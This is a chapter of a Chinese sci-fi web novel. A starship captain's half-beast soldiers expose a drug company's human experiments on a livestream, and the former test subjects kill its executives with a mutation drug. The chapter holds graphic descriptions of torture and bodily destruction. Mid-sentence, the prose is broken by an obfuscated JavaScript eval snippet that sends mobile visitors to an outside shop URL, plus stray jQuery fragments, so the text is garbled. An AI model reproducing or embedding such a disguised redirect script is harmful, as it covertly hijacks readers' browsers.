战士们守在身边戒备，栗胤伸手推开门，镜头里第一次出现了她的手。


    观众里自然有眼尖的注意到了。


    “好美的手！”


    “好白，手腕好细！这手都能做手模了吧？”


    “我不敢想象这手牵起来会有多软”


    “前面的走开，让我来牵！”


    “怪不得我觉得镜头视野的高度偏低，加上这只手……这个主视角是位女性？”


    “但很明显她才是发号施令的那个人，战士们行动前都会往这个方向看一眼。”


    “开门前他们也守在她身边。”


    “是索伦之眼船长没跑了。”


    “不得不说这个主视角直播的沉浸感真的很足，四舍五入我也在被索伦之眼的战士守护，有爽到。”


    “等等……所以索伦之眼的船长是女的？！”


    “！！！”


    还没等大众从“索伦之眼船长是女性”的震惊中回复，随着栗胤在一排排颜色诡异的药剂柜中穿梭，机密档案室中的内容又给直播间带来了新的冲击。


    “我没看错吧，那一管是用来刺激病毒变异的？”


    “一整排的原始病毒！很多病毒的对应疫苗已经失效了，要是病毒泄露全人类都得完蛋！赦生集团怎么敢储存这些病毒的？”


    “那是兽类基因诱发激素！之前温民生活专题报道过的！居然是真的……”


    “还有实验体的数据记录，天啊，光目录就这么长，赦生集团到底做过多少人体实验了？？”


    除了药剂柜，这个房间里还储存着一整面墙的血液样本。栗胤随意点开一旁的电子说明屏，在看到其中一份血液样本的记录时凝神驻足了一会儿。


    屏幕里显示的是α实验体数据记录。


    系统历3297年2月7日，实验体数据突破临界点，具体表现为自愈细胞数量为正常人类1390.382倍，列做重点监控对象，分配至第1号实验分部，实验体编号α。


    系统历3297年2月10日，α实验体兽形已稳固，呈半身麋鹿表征。进入疼痛刺激试验。实验体精神阈值高，能承受180系统分钟的电击刺激。建议加大电流伏特。


    系统历3297年2月25日，对α实验体进行血液采集。自愈临界值在血液抽取量87%，此后的血液失去药理效果。


    ……


    系统历3297年3月14日，α实验体陷入狂暴！实验器材损毁，具体损失折现为2689万信诺币。针对实验体强大的电击耐性、麻醉耐性和恢复力，以毒针镇压。实验体出现排异反应，半身溃烂，辅以病变部位切除手术。


    系统历3297年3月18日，α实验体血液内存有残留毒性物质，通过三十四轮血液抽取，耗时3个系统日方才将毒物排尽。为保证血液纯度，建议取消对α实验体的任何药物注射。


    ……


    系统历3297年5月23日，α实验体再度陷入狂暴！研究人员损伤4人，具体损失为3120万信诺币。已采取六肢切除震暴法。建议加强对实验体的人身控制，杜绝其找到任何逃跑空隙。


    ……


    栗胤猛地移开视线，只觉得双眼都被这些记录的文字刺痛。她的呼吸有些急促，一张脸上毫无表情。


    本该成为偏远小行星的明日之星、按部就班地成为医学博士，为整个虹河系的医药学发展做出贡献，却因为命运的捉弄成为被关押在不见天日牢笼中的实验体。尽管如此，他也从没有放弃逃离，即便下场是越来越残忍的镇压。


    她曾窥见他过去一角，但她还是低估了他血液里流淌的愤怒。


    白纶瞥到栗胤的脸，心中下意识一咯噔。


    他没看到说明屏上写了什么，却知道它们让栗胤非常生气。


    在他脖子上的项圈还是惩戒式脉冲电流时，曾为了摆脱桎梏尝试过各种手段。大多数时候栗胤都是笑眯眯地化解了，但也有一次他试探过了界线，差点要因为强烈的电流在身体上留下不可逆的损伤，那个时候栗胤看着他就是这样的表情。


    那天晚上，栗胤让他用身体的战栗和泪水记住了越界的下场。


    现在回想起来，白纶仿佛还能感受到每一寸皮肤都在她指腹游弋下不堪碰触的颤抖。


    总部没有设立人体实验室，而是在机密档案室中竖起四十九个监控屏，用来监控四十九个分部的实验进展。


    随着栗胤靠近，监控屏有了信号，每个分部人体实验室的实时监控场景一一呈现在屏幕中，又通过直播映入虹河系亿万观众眼里。


    大部分实验分部已经被索伦之眼的战士占领，将伤痕累累的半兽人实验体们从牢笼中放出。有几个实验分部里静悄悄的，夜视模式下黑白的画面中，实验体们在栅栏后缩成一团，隐约可见绝望无光的双眼。


    其中第47号实验分部恰好处在人体实验过程之中。


    那个实验体还没有兽化，就是个普通的亚人。此刻却被毫无尊严地四肢大张被拘在手术台上，身上不着片缕，穿白大褂的研究人员将药效不明的针尖扎入血管，实验体的眼中满是恐惧，四肢因为挣扎和抗拒被拘束带割出鲜血，他好似浑然不觉。随着药剂在体内起效，巨大的疼痛将他吞没，浑身呈弓字从手术台上弹起又重重落下，一张扭曲的脸上涕泪横流。


    紧接着，肉眼可见地，那个实验体的右半边身体出现不正常的淤紫，那颜色越来越深，连带着右半个身体都出现了膨胀。


    监控画面没有声音，看得出白衣服的研究人员骂了句什么，连忙对实验体注入另一种药剂，但显然已经为时太晚。在实验体无声的哭喊中，他的右半边身体如被撑爆的轮胎般炸裂了。


    血液和人体组织的碎屑溅满了大半个实验室，研究人员首当其冲被浇了一身。但他丝毫没有去关心只剩下半个身体的实验体的死活，而是骂骂咧咧地忙着去换了一身干净的衣服。


    整个直播间都陷入了因震撼带来的失语中。


    好一会儿才有人发出评论，接着越来越多，差点要将温民生活的服务器挤爆。


    “我以为之前温民生活放出来的资料是专门挑着残暴的来，原来那不过是赦生制药人体实验里的冰山一角！”


    “要不是温民生活爆出来，赦生还想瞒着取多少实验体的性命？！”


    “就连温民生活在红博的账号都被炸了，只能在自己的平台上继续爆料，甚至连自己的网站都一度被禁。”


    “幸好这次直播是在温民生活自己的网站，要是在别的地方直播肯定到一半就因为违反各种条例被停播了。”


    “禺泯帝国的高层都在做什么？都被收买吗了？这个帝国什么时候腐朽到这个地步了？”


    “可笑，这么多人遇害，到最后却要靠着一个新闻公司和一个外来船队履行正义。”


    “没有人救救47号实验分部的那个人吗？索伦之眼的战士们怎么还没到？”


    “已经来不及了吧……就连V号修复液都没法修复消失的半个身体……”


    栗胤将视线从监控屏上移开了。


    在她身后，她的战士们已经将赦生制药总部的所有高层都抓了过来，反绑了双手丢在地上。其中，额前有一根墨绿色翎羽的阿维族辨识度最高，他便是赦生集团的总负责人，埃兹·芮文。他的照片不仅出现在赦生制药人事栏最醒目的顶端，在赦生集团对外宣传的视频中也经常出现他的身影。


    量身定制的西装因为粗暴的对待皱成一团，那根翎羽也蔫下来贴在脑门上。饶是如此，埃兹的口吻还是一如既往地高高在上。


    “马上把我放了！你知道和赦生集团作对的下场吗？！”


    然而，以往唯唯诺诺的高官们此刻同样被绑起来丢在他身边，能行动的全都是索伦之眼的人，没有一个回应他的话。


    一个半人半鹿的身影向他靠近。在他身后跟着的是脸庞完全化作虎面的、双腿粗壮如袋鼠的、还有浑身被青鳞覆盖的半兽人。


    索伦之眼的战士们默契


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332064|197817||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地后退了些，将空间留给这些曾经的实验体们。


    比寻常人更加高大的影子让埃兹眯了眯眼，他很快认出了来人，情绪异常激动地叫喊起来：“α实验体！终于找到你了！还有你们，看来实验室对你的监禁力度还是太轻了，等回去后我就让他们加强控制力道！”


    眭穹居高临下地看着埃兹此刻的模样。他的神情看似平静，琥珀色的瞳孔中却酝藏了太多的情绪，似岩浆般滚烫。


    对方的声音和神态无一不让他作呕。他曾是他挥之不去的噩梦源头，如今却毫无反抗能力地倒在自己面前。


    一如自己噩梦开始的那天。


    最痛苦的时候，他曾无数次想过这个时刻的到来，也在心里嘶声力竭地想要质问对方这么做的理由。


    但真到了这一刻，他却什么对话的念头都没有。


    他只想做一件事。


    趵丰族的半兽人抬起手，指尖赫然一管色泽浓稠偏灰的针剂。


    埃兹自然知道那个颜色代表着什么。


    兽类基因诱发激素。


    “你、你要干什么？”


    他的声音里终于出现了惊慌，努力挪动着身体向后退。


    眭穹冷冷地俯视他。


    “这是赦生集团的药剂，你们自己生产的，你怕什么？”


    泛着寒光的针尖抵上阿维族的脖颈。


    埃兹一动都不敢动，直直瞪视着手握针筒的男人。


    “你不能这样——是我们带给你新生，我们赋予你无人能及的自愈能力——！！整个禺泯星系、整个虹河系都需要我们赦生制药来拯救——……呃啊啊啊啊！！！！”


    没有人因为埃兹的怒号而作出任何制止的行为，那管药剂完全注入了赦生总裁的血管之中。


    栗胤和索伦之眼的战士们，还有直播间的所有观众都静静地注视着这一切。


    先是羽毛覆盖了埃兹的皮肤，那张脸很快失去了人形，接着他的身体如同气球一样鼓起来，随着西装布料被撑爆的刺啦声，阿维族的皮囊再也兜不住膨胀的血肉，“嘭”地一声炸开了。


    眭穹正面都被鲜血覆盖，如同地狱中走来的修罗。


    修罗抬起站满血迹的眼眸，目光直指缩成一团的剩余赦生高层。


    “轮到你们了。”


    敖首、疾轮、青魇手中拿着相同的针剂，向他们俯身。


    “不，你不能对我这么做……你知道我是谁吗？阿索克家族不会放过你的！”


    “你要钱吗？我给你十亿信诺币……——二十亿！！别、别过来！”


    “饶、饶命啊……我错了，我知道错了！”


    青魇冷笑：“你们将被拐到实验室的实验体当做人看待过么？如今成为实验体的是你们自己，又有什么好不甘的。”


    敖首喉咙里发出一声嘶哑的高吼。


    “你们明明知道诱发激素的风险！你们比谁都清楚！但因为针尖没有落在你自己身上，所以你们在面对实验体时，从来没考虑过他们的痛苦！！”


    疾轮的情绪同样非常激动：“我们回不去了！从接受激素注射起，我们就注定成为人群中的异类！而你们从来不会想到这些！”


    透过直播镜头，留守在索伦之眼的轻翔泪流满面。


    针尖无一例外地扎入了高层的脖颈之中。


    星际警官犹豫着要不要出面叫停这一过于血腥的行为，但一方面，实验体们做的分明是赦生制药延续了几百年被赋予了“人类文明进步”大义的医学实验，另一方面，禺泯军方也给出了“不干涉任何一方”的指令。这么犹豫着，就等到了兽化过程的尾声。


    讽刺的是，在场的赦生集团高层们竟没有一个熬过兽化返祖的过程，都化作了一滩血肉。


    眭穹用力捏紧左手的拳头，指甲嵌入血肉，用疼痛让自己手臂的颤抖停了下来。


    他看着眼前的血池，仿佛透过这滩污秽看到了三年前的自己。


    他终于和噩梦中的施暴者完成了逆转。